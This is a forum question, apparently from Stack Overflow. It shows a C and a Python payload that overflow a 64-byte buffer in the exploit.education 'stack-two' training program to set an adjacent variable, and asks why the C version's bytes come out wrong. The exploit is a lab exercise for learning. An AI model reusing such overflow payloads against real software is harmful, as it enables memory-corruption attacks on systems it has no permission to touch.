I was writing a stack overflow exploit in C against stack-two of exploit.education.
A little modified version of the the stack-two program is as follows:
/*
* phoenix/stack-two, by https://exploit.education
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("Welcome to stack-two, brought to you by https://exploit.education\n");
char *ptr = getenv("ExploitEducation");
if (ptr == NULL) {
fprintf(stderr, "please set the ExploitEducation environment variable\n");
exit(1);
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
My exploit is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned int u32;
int main() {
const int size = 100;
char buffer[size];
memset(buffer, 0, size); // Zero out the buffer
memset(buffer, 'x', 64); // Add 64 'x' to the buffer
u32 changeme = 0x0d0a090a;
memcpy(buffer + 64, &changeme, 4); // appending 0x0d0a090a to buffer
// Printing the buffer
for (int i = 0; i < 68; ++i) {
printf("%c", buffer[i]);
}
// Writing the buffer into a file for testing purpose.
FILE *fd = fopen("bb.bin", "wb");
fwrite(buffer, 1, 68, fd);
fclose(fd);
}
Then setting ExploitEducation environment variable as follows:
ExploitEducation=$(./a.exe) # a.exe is the exploit binary
This should have worked but when I executed stack-two the output was:
Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a
When I investigated furthur and saw the hexdump of bb.bin
, it was correct and the exploit should work.
hexdump of bb.bin is as follows:
00000000: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d ....
So, why does the exploit not work? Why does the python version of this exploit (given below) works while the C version does not?
Working Exploit
I have a working exploit written in python.
import sys
sys.stdout.buffer.write(b"x" * 64 + b"\x0a\x09\x0a\x0d")
EDIT:
As Lundin suggested, I tried changing
u32 changeme = 0x0d0a090a;
to uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };
, but it didn't work.
I also tried playing around with the order of bytes and the C language constructs used to lay out the bytes, but nothing worked :(.